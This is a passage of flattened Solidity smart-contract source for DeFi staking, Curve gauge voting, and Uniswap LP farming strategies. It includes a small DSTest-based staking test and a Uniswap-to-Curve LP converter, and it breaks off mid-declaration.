lastTimeRewardApplicable() public view returns (uint256) { return min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(_totalSupply) ); } function earned(address account) public view returns (uint256) { return _balances[account] .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } function getRewardForDuration() external view returns (uint256) { return rewardRate.mul(rewardsDuration); } function min(uint256 a, uint256 b) public pure returns (uint256) { return a < b ? a : b; } /* ========== MUTATIVE FUNCTIONS ========== */ function stake(uint256 amount) external nonReentrant notPaused updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); stakingToken.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function getReward() public nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; rewardsToken.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function exit() external { withdraw(_balances[msg.sender]); getReward(); } /* ========== RESTRICTED FUNCTIONS ========== */ function notifyRewardAmount(uint256 reward) external onlyOwner updateReward(address(0)) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(rewardsDuration); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(rewardsDuration); } // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint256 balance = rewardsToken.balanceOf(address(this)); require( rewardRate <= balance.div(rewardsDuration), "Provided reward too high" ); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(rewardsDuration); emit RewardAdded(reward); } // Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner { // Cannot recover the staking token or the rewards token require( tokenAddress != address(stakingToken) && tokenAddress != address(rewardsToken), "Cannot withdraw the staking or rewards tokens" ); IERC20(tokenAddress).safeTransfer(owner, tokenAmount); emit Recovered(tokenAddress, tokenAmount); } function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner { require( block.timestamp > periodFinish, "Previous rewards period must be complete before changing the duration for the new period" ); rewardsDuration = _rewardsDuration; emit RewardsDurationUpdated(rewardsDuration); } /* ========== MODIFIERS ========== */ modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } /* ========== EVENTS ========== */ event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event RewardsDurationUpdated(uint256 newDuration); event Recovered(address token, uint256 amount); } contract CRVLocker { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address public constant mintr = 0xd061D61a4d941c39E5453435B6345Dc261C2fcE0; address public constant crv = 0xD533a949740bb3306d119CC777fa900bA034cd52; address public constant escrow = 0x5f3b5DfEb7B28CDbD7FAba78963EE202a494e2A2; address public governance; mapping(address => bool) public voters; constructor(address _governance) public { governance = _governance; } function getName() external pure returns (string memory) { return "CRVLocker"; } function addVoter(address _voter) external { require(msg.sender == governance, "!governance"); voters[_voter] = true; } function removeVoter(address _voter) external { require(msg.sender == governance, "!governance"); voters[_voter] = false; } function withdraw(address _asset) external returns (uint256 balance) { require(voters[msg.sender], "!voter"); balance = IERC20(_asset).balanceOf(address(this)); IERC20(_asset).safeTransfer(msg.sender, balance); } function createLock(uint256 _value, uint256 _unlockTime) external { require(voters[msg.sender] || msg.sender == governance, "!authorized"); IERC20(crv).safeApprove(escrow, 0); IERC20(crv).safeApprove(escrow, _value); ICurveVotingEscrow(escrow).create_lock(_value, _unlockTime); } function increaseAmount(uint256 _value) external { require(voters[msg.sender] || msg.sender == governance, "!authorized"); IERC20(crv).safeApprove(escrow, 0); IERC20(crv).safeApprove(escrow, _value); ICurveVotingEscrow(escrow).increase_amount(_value); } function increaseUnlockTime(uint256 _unlockTime) external { require(voters[msg.sender] || msg.sender == governance, "!authorized"); ICurveVotingEscrow(escrow).increase_unlock_time(_unlockTime); } function release() external { require(voters[msg.sender] || msg.sender == governance, "!authorized"); ICurveVotingEscrow(escrow).withdraw(); } function setGovernance(address _governance) external { require(msg.sender == governance, "!governance"); governance = _governance; } function execute( address to, uint256 value, bytes calldata data ) external returns (bool, bytes memory) { require(voters[msg.sender] || msg.sender == governance, "!governance"); (bool success, bytes memory result) = to.call{value: value}(data); require(success, "!execute-success"); return (success, result); } } contract SCRVVoter { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; CRVLocker public crvLocker; address public constant want = 0xC25a3A3b969415c80451098fa907EC722572917F; address public constant mintr = 0xd061D61a4d941c39E5453435B6345Dc261C2fcE0; address public constant crv = 0xD533a949740bb3306d119CC777fa900bA034cd52; address public constant snx = 0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F; address public constant gaugeController = 0x2F50D538606Fa9EDD2B11E2446BEb18C9D5846bB; address public constant scrvGauge = 0xA90996896660DEcC6E997655E065b23788857849; mapping(address => bool) public strategies; address public governance; constructor(address _governance, address _crvLocker) public { governance = _governance; crvLocker = CRVLocker(_crvLocker); } function setGovernance(address _governance) external { require(msg.sender == governance, "!governance"); governance = _governance; } function approveStrategy(address _strategy) external { require(msg.sender == governance, "!governance"); strategies[_strategy] = true; } function revokeStrategy(address _strategy) external { require(msg.sender == governance, "!governance"); strategies[_strategy] = false; } function lock() external { crvLocker.increaseAmount(IERC20(crv).balanceOf(address(crvLocker))); } function vote(address _gauge, uint256 _amount) public { require(strategies[msg.sender], "!strategy"); crvLocker.execute( gaugeController, 0, abi.encodeWithSignature( "vote_for_gauge_weights(address,uint256)", _gauge, _amount ) ); } function max() external { require(strategies[msg.sender], "!strategy"); vote(scrvGauge, 10000); } function withdraw( address _gauge, address _token, uint256 _amount ) public returns (uint256) { require(strategies[msg.sender], "!strategy"); uint256 _before = IERC20(_token).balanceOf(address(crvLocker)); crvLocker.execute( _gauge, 0, abi.encodeWithSignature("withdraw(uint256)", _amount) ); uint256 _after = IERC20(_token).balanceOf(address(crvLocker)); uint256 _net = _after.sub(_before); crvLocker.execute( _token, 0, abi.encodeWithSignature( "transfer(address,uint256)", msg.sender, _net ) ); return _net; } function balanceOf(address _gauge) public view returns (uint256) { return IERC20(_gauge).balanceOf(address(crvLocker)); } function withdrawAll(address _gauge, address _token) external returns (uint256) { require(strategies[msg.sender], "!strategy"); return withdraw(_gauge, _token, balanceOf(_gauge)); } function deposit(address _gauge, address _token) external { uint256 _balance = IERC20(_token).balanceOf(address(this)); IERC20(_token).safeTransfer(address(crvLocker), _balance); _balance = IERC20(_token).balanceOf(address(crvLocker)); crvLocker.execute( _token, 0, abi.encodeWithSignature("approve(address,uint256)", _gauge, 0) ); crvLocker.execute( _token, 0, abi.encodeWithSignature( "approve(address,uint256)", _gauge, _balance ) ); crvLocker.execute( _gauge, 0, abi.encodeWithSignature("deposit(uint256)", _balance) ); } function harvest(address _gauge) external { require(strategies[msg.sender], "!strategy"); uint256 _before = IERC20(crv).balanceOf(address(crvLocker)); crvLocker.execute( mintr, 0, abi.encodeWithSignature("mint(address)", _gauge) ); uint256 _after = IERC20(crv).balanceOf(address(crvLocker)); uint256 _balance = _after.sub(_before); crvLocker.execute( crv, 0, abi.encodeWithSignature( "transfer(address,uint256)", msg.sender, _balance ) ); } function claimRewards() external { require(strategies[msg.sender], "!strategy"); uint256 _before = IERC20(snx).balanceOf(address(crvLocker)); crvLocker.execute(scrvGauge, 0, abi.encodeWithSignature("claim_rewards()")); uint256 _after = IERC20(snx).balanceOf(address(crvLocker)); uint256 _balance = _after.sub(_before); crvLocker.execute( snx, 0, abi.encodeWithSignature( "transfer(address,uint256)", msg.sender, _balance ) ); } } abstract contract StrategyBase { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; // Perfomance fees - start with 4.5% uint256 public performanceTreasuryFee = 450; uint256 public constant performanceTreasuryMax = 10000; uint256 public performanceDevFee = 0; uint256 public constant performanceDevMax = 10000; // Withdrawal fee 0.5% // - 0.325% to treasury // - 0.175% to dev fund uint256 public withdrawalTreasuryFee = 325; uint256 public constant withdrawalTreasuryMax = 100000; uint256 public withdrawalDevFundFee = 175; uint256 public constant withdrawalDevFundMax = 100000; // Tokens address public want; address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // User accounts address public governance; address public controller; address public strategist; address public timelock; // Dex address public univ2Router2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor( address _want, address _governance, address _strategist, address _controller, address _timelock ) public { require(_want != address(0)); require(_governance != address(0)); require(_strategist != address(0)); require(_controller != address(0)); require(_timelock != address(0)); want = _want; governance = _governance; strategist = _strategist; controller = _controller; timelock = _timelock; } // **** Modifiers **** // modifier onlyBenevolent { require( msg.sender == tx.origin || msg.sender == governance || msg.sender == strategist ); _; } // **** Views **** // function balanceOfWant() public view returns (uint256) { return IERC20(want).balanceOf(address(this)); } function balanceOfPool() public virtual view returns (uint256); function balanceOf() public view returns (uint256) { return balanceOfWant().add(balanceOfPool()); } function getName() external virtual pure returns (string memory); // **** Setters **** // function setWithdrawalDevFundFee(uint256 _withdrawalDevFundFee) external { require(msg.sender == timelock, "!timelock"); withdrawalDevFundFee = _withdrawalDevFundFee; } function setWithdrawalTreasuryFee(uint256 _withdrawalTreasuryFee) external { require(msg.sender == timelock, "!timelock"); withdrawalTreasuryFee = _withdrawalTreasuryFee; } function setPerformanceDevFee(uint256 _performanceDevFee) external { require(msg.sender == timelock, "!timelock"); performanceDevFee = _performanceDevFee; } function setPerformanceTreasuryFee(uint256 _performanceTreasuryFee) external { require(msg.sender == timelock, "!timelock"); performanceTreasuryFee = _performanceTreasuryFee; } function setStrategist(address _strategist) external { require(msg.sender == governance, "!governance"); strategist = _strategist; } function setGovernance(address _governance) external { require(msg.sender == governance, "!governance"); governance = _governance; } function setTimelock(address _timelock) external { require(msg.sender == timelock, "!timelock"); timelock = _timelock; } function setController(address _controller) external { require(msg.sender == timelock, "!timelock"); controller = _controller; } // **** State mutations **** // function deposit() public virtual; // Controller only function for creating additional rewards from dust function withdraw(IERC20 _asset) external returns (uint256 balance) { require(msg.sender == controller, "!controller"); require(want != address(_asset), "want"); balance = _asset.balanceOf(address(this)); _asset.safeTransfer(controller, balance); } // Withdraw partial funds, normally used with a jar withdrawal function withdraw(uint256 _amount) external { require(msg.sender == controller, "!controller"); uint256 _balance = IERC20(want).balanceOf(address(this)); if (_balance < _amount) { _amount = _withdrawSome(_amount.sub(_balance)); _amount = _amount.add(_balance); } uint256 _feeDev = _amount.mul(withdrawalDevFundFee).div( withdrawalDevFundMax ); IERC20(want).safeTransfer(IController(controller).devfund(), _feeDev); uint256 _feeTreasury = _amount.mul(withdrawalTreasuryFee).div( withdrawalTreasuryMax ); IERC20(want).safeTransfer( IController(controller).treasury(), _feeTreasury ); address _jar = IController(controller).jars(address(want)); require(_jar != address(0), "!jar"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_jar, _amount.sub(_feeDev).sub(_feeTreasury)); } // Withdraw funds, used to swap between strategies function withdrawForSwap(uint256 _amount) external returns (uint256 balance) { require(msg.sender == controller, "!controller"); _withdrawSome(_amount); balance = IERC20(want).balanceOf(address(this)); address _jar = IController(controller).jars(address(want)); require(_jar != address(0), "!jar"); IERC20(want).safeTransfer(_jar, balance); } // Withdraw all funds, normally used when migrating strategies function withdrawAll() external returns (uint256 balance) { require(msg.sender == controller, "!controller"); _withdrawAll(); balance = IERC20(want).balanceOf(address(this)); address _jar = IController(controller).jars(address(want)); require(_jar != address(0), "!jar"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_jar, balance); } function _withdrawAll() internal { _withdrawSome(balanceOfPool()); } function _withdrawSome(uint256 _amount) internal virtual returns (uint256); function harvest() public virtual; // **** Emergency functions **** function execute(address _target, bytes memory _data) public payable returns (bytes memory response) { require(msg.sender == timelock, "!timelock"); require(_target != address(0), "!target"); // call contract in current context assembly { let succeeded := delegatecall( sub(gas(), 5000), _target, add(_data, 0x20), mload(_data), 0, 0 ) let size := returndatasize() response := mload(0x40) mstore( 0x40, add(response, and(add(add(size, 0x20), 0x1f), not(0x1f))) ) mstore(response, size) returndatacopy(add(response, 0x20), 0, size) switch iszero(succeeded) case 1 { // throw if delegatecall failed revert(add(response, 0x20), size) } } } // **** Internal functions **** function _swapUniswap( address _from, address _to, uint256 _amount ) internal { require(_to != address(0)); // Swap with uniswap IERC20(_from).safeApprove(univ2Router2, 0); IERC20(_from).safeApprove(univ2Router2, _amount); address[] memory path; if (_from == weth || _to == weth) { path = new address[](2); path[0] = _from; path[1] = _to; } else { path = new address[](3); path[0] = _from; path[1] = weth; path[2] = _to; } UniswapRouterV2(univ2Router2).swapExactTokensForTokens( _amount, 0, path, address(this), now.add(60) ); } function _distributePerformanceFeesAndDeposit() internal { uint256 _want = IERC20(want).balanceOf(address(this)); if (_want > 0) { // Treasury fees IERC20(want).safeTransfer( IController(controller).treasury(), _want.mul(performanceTreasuryFee).div(performanceTreasuryMax) ); // Performance fee IERC20(want).safeTransfer( IController(controller).devfund(), _want.mul(performanceDevFee).div(performanceDevMax) ); deposit(); } } } abstract contract StrategyCurveBase is StrategyBase { // curve dao address public gauge; address public curve; address public mintr = 0xd061D61a4d941c39E5453435B6345Dc261C2fcE0; // stablecoins address public dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; address public usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7; address public susd = 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51; // bitcoins address public wbtc = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599; address public renbtc = 0xEB4C2781e4ebA804CE9a9803C67d0893436bB27D; // rewards address public crv = 0xD533a949740bb3306d119CC777fa900bA034cd52; // How much CRV tokens to keep uint256 public keepCRV = 0; uint256 public keepCRVMax = 10000; constructor( address _curve, address _gauge, address _want, address _governance, address _strategist, address _controller, address _timelock ) public StrategyBase(_want, _governance, _strategist, _controller, _timelock) { curve = _curve; gauge = _gauge; } // **** Getters **** function balanceOfPool() public override view returns (uint256) { return ICurveGauge(gauge).balanceOf(address(this)); } function getHarvestable() external returns (uint256) { return ICurveGauge(gauge).claimable_tokens(address(this)); } function getMostPremium() public virtual view returns (address, uint256); // **** Setters **** function setKeepCRV(uint256 _keepCRV) external { require(msg.sender == governance, "!governance"); keepCRV = _keepCRV; } // **** State Mutation functions **** function deposit() public override { uint256 _want = IERC20(want).balanceOf(address(this)); if (_want > 0) { IERC20(want).safeApprove(gauge, 0); IERC20(want).safeApprove(gauge, _want); ICurveGauge(gauge).deposit(_want); } } function _withdrawSome(uint256 _amount) internal override returns (uint256) { ICurveGauge(gauge).withdraw(_amount); return _amount; } } abstract contract StrategyStakingRewardsBase is StrategyBase { address public rewards; // **** Getters **** constructor( address _rewards, address _want, address _governance, address _strategist, address _controller, address _timelock ) public StrategyBase(_want, _governance, _strategist, _controller, _timelock) { rewards = _rewards; } function balanceOfPool() public override view returns (uint256) { return IStakingRewards(rewards).balanceOf(address(this)); } function getHarvestable() external view returns (uint256) { return IStakingRewards(rewards).earned(address(this)); } // **** Setters **** function deposit() public override { uint256 _want = IERC20(want).balanceOf(address(this)); if (_want > 0) { IERC20(want).safeApprove(rewards, 0); IERC20(want).safeApprove(rewards, _want); IStakingRewards(rewards).stake(_want); } } function _withdrawSome(uint256 _amount) internal override returns (uint256) { IStakingRewards(rewards).withdraw(_amount); return _amount; } } abstract contract StrategyUniFarmBase is StrategyStakingRewardsBase { // Token addresses address public uni = 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984; // WETH/<token1> pair address public token1; // How much UNI tokens to keep? uint256 public keepUNI = 0; uint256 public constant keepUNIMax = 10000; constructor( address _token1, address _rewards, address _lp, address _governance, address _strategist, address _controller, address _timelock ) public StrategyStakingRewardsBase( _rewards, _lp, _governance, _strategist, _controller, _timelock ) { token1 = _token1; } // **** Setters **** function setKeepUNI(uint256 _keepUNI) external { require(msg.sender == timelock, "!timelock"); keepUNI = _keepUNI; } // **** State Mutations **** function harvest() public override onlyBenevolent { // Anyone can harvest it at any given time. // I understand the possibility of being frontrun // But ETH is a dark forest, and I wanna see how this plays out // i.e. will be be heavily frontrunned? // if so, a new strategy will be deployed. // Collects UNI tokens IStakingRewards(rewards).getReward(); uint256 _uni = IERC20(uni).balanceOf(address(this)); if (_uni > 0) { // 10% is locked up for future gov uint256 _keepUNI = _uni.mul(keepUNI).div(keepUNIMax); IERC20(uni).safeTransfer( IController(controller).treasury(), _keepUNI ); _swapUniswap(uni, weth, _uni.sub(_keepUNI)); } // Swap half WETH for DAI uint256 _weth = IERC20(weth).balanceOf(address(this)); if (_weth > 0) { _swapUniswap(weth, token1, _weth.div(2)); } // Adds in liquidity for ETH/DAI _weth = IERC20(weth).balanceOf(address(this)); uint256 _token1 = IERC20(token1).balanceOf(address(this)); if (_weth > 0 && _token1 > 0) { IERC20(weth).safeApprove(univ2Router2, 0); IERC20(weth).safeApprove(univ2Router2, _weth); IERC20(token1).safeApprove(univ2Router2, 0); IERC20(token1).safeApprove(univ2Router2, _token1); UniswapRouterV2(univ2Router2).addLiquidity( weth, token1, _weth, _token1, 0, 0, address(this), now + 60 ); // Donates DUST IERC20(weth).transfer( IController(controller).treasury(), IERC20(weth).balanceOf(address(this)) ); IERC20(token1).safeTransfer( IController(controller).treasury(), IERC20(token1).balanceOf(address(this)) ); } // We want to get back UNI LP tokens _distributePerformanceFeesAndDeposit(); } } contract StrategyUniEthDaiLpV4 is StrategyUniFarmBase { // Token addresses address public uni_rewards = 0xa1484C3aa22a66C62b77E0AE78E15258bd0cB711; address public uni_eth_dai_lp = 0xA478c2975Ab1Ea89e8196811F51A7B7Ade33eB11; address public dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; constructor( address _governance, address _strategist, address _controller, address _timelock ) public StrategyUniFarmBase( dai, uni_rewards, uni_eth_dai_lp, _governance, _strategist, _controller, _timelock ) {} // **** Views **** function getName() external override pure returns (string memory) { return "StrategyUniEthDaiLpV4"; } } contract StrategyUniEthUsdcLpV4 is StrategyUniFarmBase { // Token addresses address public uni_rewards = 0x7FBa4B8Dc5E7616e59622806932DBea72537A56b; address public uni_eth_usdc_lp = 0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc; address public usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; constructor( address _governance, address _strategist, address _controller, address _timelock ) public StrategyUniFarmBase( usdc, uni_rewards, uni_eth_usdc_lp, _governance, _strategist, _controller, _timelock ) {} // **** Views **** function getName() external override pure returns (string memory) { return "StrategyUniEthUsdcLpV4"; } } contract StrategyUniEthUsdtLpV4 is StrategyUniFarmBase { // Token addresses address public uni_rewards = 0x6C3e4cb2E96B01F4b866965A91ed4437839A121a; address public uni_eth_usdt_lp = 0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852; address public usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7; constructor( address _governance, address _strategist, address _controller, address _timelock ) public StrategyUniFarmBase( usdt, uni_rewards, uni_eth_usdt_lp, _governance, _strategist, _controller, _timelock ) {} // **** Views **** function getName() external override pure returns (string memory) { return "StrategyUniEthUsdtLpV4"; } } contract StrategyUniEthWBtcLpV2 is StrategyUniFarmBase { // Token addresses address public uni_rewards = 0xCA35e32e7926b96A9988f61d510E038108d8068e; address public uni_eth_wbtc_lp = 0xBb2b8038a1640196FbE3e38816F3e67Cba72D940; address public wbtc = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599; constructor( address _governance, address _strategist, address _controller, address _timelock ) public StrategyUniFarmBase( wbtc, uni_rewards, uni_eth_wbtc_lp, _governance, _strategist, _controller, _timelock ) {} // **** Views **** function getName() external override pure returns (string memory) { return "StrategyUniEthWBtcLpV2"; } } interface Hevm { function warp(uint256) external; function roll(uint x) external; function store(address c, bytes32 loc, bytes32 val) external; } contract MockERC20 is ERC20 { constructor(string memory name, string memory symbol) public ERC20(name, symbol) {} function mint(address recipient, uint256 amount) public { _mint(recipient, amount); } } contract DSTest { event eventListener (address target, bool exact); event logs (bytes); event log_bytes32 (bytes32); event log_named_address (bytes32 key, address val); event log_named_bytes32 (bytes32 key, bytes32 val); event log_named_decimal_int (bytes32 key, int val, uint decimals); event log_named_decimal_uint (bytes32 key, uint val, uint decimals); event log_named_int (bytes32 key, int val); event log_named_uint (bytes32 key, uint val); event log_named_string (bytes32 key, string val); bool public IS_TEST; bool public failed; constructor() internal { IS_TEST = true; } function fail() internal { failed = true; } function expectEventsExact(address target) internal { emit eventListener(target, true); } modifier logs_gas() { uint startGas = gasleft(); _; uint endGas = gasleft(); emit log_named_uint("gas", startGas - endGas); } function assertTrue(bool condition) internal { if (!condition) { emit log_bytes32("Assertion failed"); fail(); } } function assertEq(address a, address b) internal { if (a != b) { emit log_bytes32("Error: Wrong `address' value"); emit log_named_address(" Expected", b); emit log_named_address(" Actual", a); fail(); } } function assertEq32(bytes32 a, bytes32 b) internal { assertEq(a, b); } function assertEq(bytes32 a, bytes32 b) internal { if (a != b) { emit log_bytes32("Error: Wrong `bytes32' value"); emit log_named_bytes32(" Expected", b); emit log_named_bytes32(" Actual", a); fail(); } } function assertEqDecimal(int a, int b, uint decimals) internal { if (a != b) { emit log_bytes32("Error: Wrong fixed-point decimal"); emit log_named_decimal_int(" Expected", b, decimals); emit log_named_decimal_int(" Actual", a, decimals); fail(); } } function assertEqDecimal(uint a, uint b, uint decimals) internal { if (a != b) { emit log_bytes32("Error: Wrong fixed-point decimal"); emit log_named_decimal_uint(" Expected", b, decimals); emit log_named_decimal_uint(" Actual", a, decimals); fail(); } } function assertEq(int a, int b) internal { if (a != b) { emit log_bytes32("Error: Wrong `int' value"); emit log_named_int(" Expected", b); emit log_named_int(" Actual", a); fail(); } } function assertEq(uint a, uint b) internal { if (a != b) { emit log_bytes32("Error: Wrong `uint' value"); emit log_named_uint(" Expected", b); emit log_named_uint(" Actual", a); fail(); } } function assertEq(string memory a, string memory b) internal { if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) { emit log_bytes32("Error: Wrong `string' value"); emit log_named_string(" Expected", b); emit log_named_string(" Actual", a); fail(); } } function assertEq0(bytes memory a, bytes memory b) internal { bool ok = true; if (a.length == b.length) { for (uint i = 0; i < a.length; i++) { if (a[i] != b[i]) { ok = false; } } } else { ok = false; } if (!ok) { emit log_bytes32("Error: Wrong `bytes' value"); emit log_named_bytes32(" Expected", "[cannot show `bytes' value]"); emit log_named_bytes32(" Actual", "[cannot show `bytes' value]"); fail(); } } } contract User { function execute( address target, uint256 value, string memory signature, bytes memory data ) public payable returns (bytes memory) { bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked( bytes4(keccak256(bytes(signature))), data ); } (bool success, bytes memory returnData) = target.call{value: value}( callData ); require(success, "!user-execute"); return returnData; } } contract StakngRewardsTest is DSTest { using SafeMath for uint256; MockERC20 stakingToken; MockERC20 rewardsToken; StakingRewards stakingRewards; address owner; Hevm hevm = Hevm(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { owner = address(this); stakingToken = new MockERC20("staking", "STAKE"); rewardsToken = new MockERC20("rewards", "RWD"); stakingRewards = new StakingRewards( owner, address(rewardsToken), address(stakingToken) ); } function test_staking() public { uint256 stakeAmount = 100 ether; uint256 rewardAmount = 100 ether; stakingToken.mint(owner, stakeAmount); rewardsToken.mint(owner, rewardAmount); stakingToken.approve(address(stakingRewards), stakeAmount); stakingRewards.stake(stakeAmount); // // Make sure nothing is earned uint256 _before = stakingRewards.earned(owner); assertEq(_before, 0); // Fast forward hevm.warp(block.timestamp + 1 days); // No funds until we actually supply funds uint256 _after = stakingRewards.earned(owner); assertEq(_after, _before); // Give rewards rewardsToken.transfer(address(stakingRewards), rewardAmount); stakingRewards.notifyRewardAmount(rewardAmount); uint256 _rateBefore = stakingRewards.getRewardForDuration(); assertTrue(_rateBefore > 0); // Fast forward _before = stakingRewards.earned(owner); hevm.warp(block.timestamp + 1 days); _after = stakingRewards.earned(owner); assertTrue(_after > _before); assertTrue(_after > 0); // Add more rewards, rate should increase rewardsToken.mint(owner, rewardAmount); rewardsToken.transfer(address(stakingRewards), rewardAmount); stakingRewards.notifyRewardAmount(rewardAmount); uint256 _rateAfter = stakingRewards.getRewardForDuration(); assertTrue(_rateAfter > _rateBefore); // Warp to period finish hevm.warp(stakingRewards.periodFinish() + 1 days); // Retrieve tokens stakingRewards.getReward(); _before = stakingRewards.earned(owner); hevm.warp(block.timestamp + 1 days); _after = stakingRewards.earned(owner); // Earn 0 after period finished assertEq(_before, 0); assertEq(_after, 0); } } contract UniCurveConverter { using SafeMath for uint256; using SafeERC20 for IERC20; UniswapRouterV2 public router = UniswapRouterV2( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); // Stablecoins address public constant dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; address public constant usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7; address public constant susd = 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51; // Wrapped stablecoins address public constant scrv = 0xC25a3A3b969415c80451098fa907EC722572917F; // Weth address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // susd v2 pool ICurveFi_4 public curve = ICurveFi_4( 0xA5407eAE9Ba41422680e2e00537571bcC53efBfD ); // UNI LP -> Curve LP // Assume th function convert(address _lp, uint256 _amount) public { // Get LP Tokens IERC20(_lp).safeTransferFrom(msg.sender, address(this), _amount); // Get Uniswap pair IUniswapV2Pair fromPair = IUniswapV2Pair(_lp); // Only for WETH/<TOKEN> pairs if (!(fromPair.token0() == weth || fromPair.token1() == weth)) { revert("!eth-from"); } // Remove liquidity IERC20(_lp).safeApprove(address(router), 0); IERC20(_lp).safeApprove(address(router), _amount); router.removeLiquidity( fromPair.token0(), fromPair.token1(), _amount, 0, 0, address(this), now + 60 ); // Most premium stablecoin (address premiumStablecoin, ) = getMostPremium(); // Convert weth -> most premium stablecoin address[] memory path = new address[](2); path[0] = weth; path[1] = premiumStablecoin; IERC20(weth).safeApprove(address(router), 0); IERC20(weth).safeApprove(address(router), uint256(-1)); router.swapExactTokensForTokens( IERC20(weth).balanceOf(address(this)), 0, path, address(this), now + 60 ); // Convert the other asset into stablecoin if its not a stablecoin address _from = fromPair.token0() != weth ? fromPair.token0() : fromPair.token1(); if (_from != dai && _from != usdc && _from != usdt && _from != susd) { path = new address[](3); path[0] = _from; path[1] = weth; path[2] = premiumStablecoin; IERC20(_from).safeApprove(address(router), 0); IERC20(_from).safeApprove(address(router), uint256(-1)); router.swapExactTokensForTokens( IERC20(_from).balanceOf(address(this)), 0, path, address(this), now + 60 ); } // Add liquidity to curve IERC20(dai).safeApprove(address(curve), 0); IERC20(dai).safeApprove(address(curve), uint256(-1)); IERC20(usdc).safeApprove(address(curve), 0); IERC20(usdc).safeApprove(address(curve), uint256(-1)); IERC20(usdt).safeApprove(address(curve), 0); IERC20(usdt).safeApprove(address(curve), uint256(-1)); IERC20(susd).safeApprove(address(curve), 0); IERC20(susd).safeApprove(address(curve), uint256(-1)); curve.add_liquidity( [ IERC20(dai).balanceOf(address(this)), IERC20(usdc).balanceOf(address(this)), IERC20(usdt).balanceOf(address(this)), IERC20(susd).balanceOf(address(this)) ], 0 ); // Sends token back to user IERC20(scrv).transfer( msg.sender, IERC20(scrv).balanceOf(address(this)) ); } function getMostPremium() public view returns (address, uint256) { uint256[] memory balances = new uint256[](4); balances[0] = ICurveFi_4(curve).balances(0); // DAI balances[1] = ICurveFi_4(curve).balances(1).mul(10**12); // USDC balances[2] = ICurveFi_4(curve).balances(2).mul(10**12); // USDT balances[3] = ICurveFi_4(curve).balances(3); // sUSD // DAI if ( balances[0] < balances[1] && balances[0] < balances[2] && balances[0] < balances[3] ) { return (dai, 0); } // USDC if ( balances[1] < balances[0] && balances[1] < balances[2] && balances[1] < balances[3] ) { return (usdc, 1); } // USDT if ( balances[2] < balances[0] && balances[2] < balances[1] && balances[2] < balances[3] ) { return (usdt, 2); } // SUSD if ( balances[3] < balances[0] && balances[3] < balances[1] && balances[3] < balances[2] ) { return (susd, 3); } // If they're somehow equal, we just want DAI return (dai, 0); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface MasterChef { function userInfo(uint256, address) external view returns (uint256, uint256); } contract PickleVoteProxy { // ETH/PICKLE token IERC20 public constant votes = IERC20( 